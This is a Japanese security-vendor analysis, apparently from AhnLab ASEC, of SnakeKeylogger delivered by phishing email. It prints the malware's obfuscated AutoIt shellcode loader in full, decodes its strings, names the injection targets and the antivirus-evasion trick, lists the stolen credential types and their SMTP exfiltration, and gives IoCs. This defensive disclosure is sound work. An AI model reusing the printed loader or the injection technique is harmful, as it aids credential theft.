ASEC(AhnLab SEcurity intelligence Center)では最近、SnakeKeylogger マルウェアが電子メールで配布される事例を確認した。SnakeKeylogger は、.NET 言語で製作された Infostealer タイプのマルウェアであり、電子メール、FTP、SMTP、または Telegram などを利用したデータ流出方法が含まれることが特徴である。
![](https://image.ahnlab.com/atip/content/image/20240729/ialpRtv59M5mFl2woc6S3Ifkisbnf8pyIsFtSHS0.png)
[図1] フィッシングメールの本文
この BankTran.exe は、AutoIt スクリプトでコンパイルされた実行ファイル(PE)である。内部 AutoIt スクリプトを抽出すると、AutoIt スクリプト1つと、バイナリファイル2つ、合計3つのファイルが抽出される。各ファイル名とその役割は以下の通りである。
ファイル名 | 種類 | 役割 |
{Unknown}.au3 | Obfuscated AutoIt Script (Loader) | teres をロード |
teres | ShellCode (Injector) | quinquenniad を復号化およびインジェクション |
quinquenniad | .NET PE (Encrypted SnakeKeylogger) | SnakeKeylogger マルウェア |
[表1] 抽出されるファイル、種類、役割
以下で AutoIt スクリプトから正常なプロセスに SnakeKeylogger がインジェクションされるまでの過程を確認していく。
![](https://image.ahnlab.com/atip/content/image/20240729/LWuIWmHcxMq4gbbHZ8jqJjZKnKzJUq5XoikKNMAN.png)
[図2] 抽出された AutoIt スクリプト
#NoTrayIcon
FileInstall("quinquenniad", @TempDir & "\quinquenniad", 1)
FileInstall("teres", @TempDir & "\teres", 1)
Global $v30rutgry = Execute('FileRead(FileOpen(@TempDir & "\teres"))')
$v30rutgry = Execute('StringReplace($V30rUtgRy, "1A6E71D4810309FDFC6D43D3E9A6A999A1918E3376ACA2EEC40F44C89B681ADD6AA0260BDF66FE84DA", "")')
$t33106ba = DllCall(c30te6f("x/)84)2w", "AA"), c30te6f("8:6", "AA"), c30te6f("'928%3:2-2", "AA"), c30te6f("*;38*", "AA"), c30te6f("v", "AA"), c30te6f("*;38*", "AA"), BinaryLen($v30rutgry), c30te6f("*;38*", "AA"), c30te6f("vvvw>v", "AA"), c30te6f("*;38*", "AA"), c30te6f("vv>z", "AA"))
$t33106ba = $t33106ba[0]
$z374vm4oj = DllStructCreate(c30te6f("f):=(", "AA") & BinaryLen($v30rutgry) & c30te6f("!", "AA"), $t33106ba)
DllStructSetData($z374vm4oj, 1, $v30rutgry)
DllCallAddress(c30te6f(":4-", "AA"), $t33106ba + 9136)
この AutoIt スクリプトは、非常に複雑に難読化されているが、復号化ロジックを通して確認された文字列は以下の通りであり、表示される文字列を通じて VirtualAlloc で領域を割り当て、その領域でマルウェアを実行する目的があるものと推測できる。
復号化関数および引数値 | 結果 |
c30te6f(“x/)84)2w”, “AA”) | Kernel32 |
c30te6f(“8:6”, “AA”) | ptr |
c30te6f(“‘928%3:2-2”, “AA”) | VirtualAlloc |
c30te6f(“;38“, “AA”) | dword |
c30te6f(“v”, “AA”) | 0 |
c30te6f(“vvvw>v”, “AA”) | 0x3000 |
c30te6f(“vv>z”, “AA”) | 0x40 |
c30te6f(“f):=(“, “AA”) | byte [ |
c30te6f(“!”, “AA”) | ] |
c30te6f(“:4-“, “AA”) | int |
[表2] 復号化された文字列
VirtualAlloc で割り当てられた領域には、%Temp% パスに生成した teres(ShellCode)が実行される。
![](https://image.ahnlab.com/atip/content/image/20240729/ciOWQ2BUQaATOqht7dmUEfI0UnTWWL5N6yj7PMxs.png)
[図3] VirtualAlloc で割り当てられた領域に生成された teres(ShellCode)
SnakeKeylogger マルウェアは、同じ %Temp% ディレクトリにある quinquenniad ファイルに暗号化されており、このマルウェアがインジェクションされるプロセスのリストは、以下の通りである。攻撃者はシステム環境に応じて以下のプロセスのうち1つを選択してインジェクションする。
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
C:\Windows\System32\svchost.exe
[図4]のように暗号化された quinquenniad ファイルは、ShellCode 内部において特定キーで復号化される。
![](https://image.ahnlab.com/atip/content/image/20240729/iWAcnVGMxC8Ury1UpZqIKnSXLlANqvwEzipCWZZ8.png)
[図4] 復号化された SnakeKeylogger マルウェア(quinquenniad)
このような振る舞いは、攻撃者が ntdll.dll をフックするアンチウイルス製品の検知を回避するため主に使用する方法であり、関連手法は過去に ASEC ブログでも紹介した[1][2]ことがある。
![](https://image.ahnlab.com/atip/content/image/20240729/O3Pivl4d8OnXM9xQOL5po6Zfe9PxBxlpiOUASnTC.png)
[図5] ntdll.dll を手動でマッピングする ShellCode
分析当時、マルウェア名とは異なり、Keylogger 機能はコード上にのみ存在しており、動作しなかった。これにより、マルウェアの製作プロセスに機能を選択するオプションが存在するという合理的な推測ができる。すなわち、攻撃者が SnakeKeylogger マルウェアをカスタマイズして製作できるということを意味する。結論として、今回の事例で紹介している SnakeKeylogger は情報の窃取機能のみ動作した。システムに存在する電子メール、ブラウザ、FTP、SNS などのサービスを対象に、データ(アカウント情報)を窃取するのである。
以下の表で SnakeKeylogger が動作して窃取する情報を列挙する。
窃取情報 | 詳細情報 | 対象のプログラム |
Browser | Login Data, Web Data, History, Cookies, Top Sites | Amigo, Xpom, Kometa, Nichrome, Chrome, CocCoc, QQ Browser, Orbitum, Slimjet, Iridium, Vivaldi, Iron, Chromium, Ghost Browser, Cent Browser, Xvast, Chedot, Superbird, 360 Browser (English, Chinese), Comodo, Brave, Torch, UCBrowser, Blisk, Epic, Avast Browser, Kinza, BlackHawk, Citrio, Urn, Coowon, 7Star, QIP Surf, Sleipnir5, Chrome Canary, ChromePlus, Sputnik, Falkon, Edge, Opera, Liebao, Slim Browser, Firefox, SeaMonkey, IceDragon, CyberFox, PaleMoon, WaterFox |
IMAP Password, HTTP Password, POP3 Password, SMTP Password, Account Info | Outlook, Foxmail, Thunderbird, PostBox | |
FTP | Host, Port, User, Password | FileZilla |
Etc | db, log … | Pidgin, Discord |
[表3] 窃取される情報
上記の窃取されたユーザー情報は、SMTP を通して攻撃者に送信される。この事例では窃取した情報を SMTP で送信しているが、コード内部には Telegram を利用する方式と、一般的な HTTP 方式で送信する方法も発見されたものの、動作は確認されていない。これもやはり上記で言及した SnakeKeylogger マルウェアをカスタマイズした痕跡といえる。
![](https://image.ahnlab.com/atip/content/image/20240729/e8piGzxhgbl0X1cxWytfuLE0SKddg4aYHQqIo8Vk.png)
[図6] 窃取した情報を SMTP を利用して攻撃者に送信
ファイル検知
– Trojan/Win.Autoit.XG85
– Trojan/Win.SnakeKeylogger.R433068
– Trojan/Win.SnakeKeylogger.C5326084
– Trojan/AU3.Loader
– Trojan/BIN.Agent
– Trojan/BIN.Shellcode
MD5
0a6332f1bc58f389e778016d89f411fd
3e473d16c81dd66fee6f02537b601626
7b81359e1bd2a67c1165dde435ea6d88
cdeddd67555c870a0a8602cf341a60cb
e109a03fbb1300f771e86244aea390d2
追加の IoC は ATIP で提供されます。
URL
http[:]//mail[.]tradolgt[.]com[:]587/
Categories: マルウェアの情報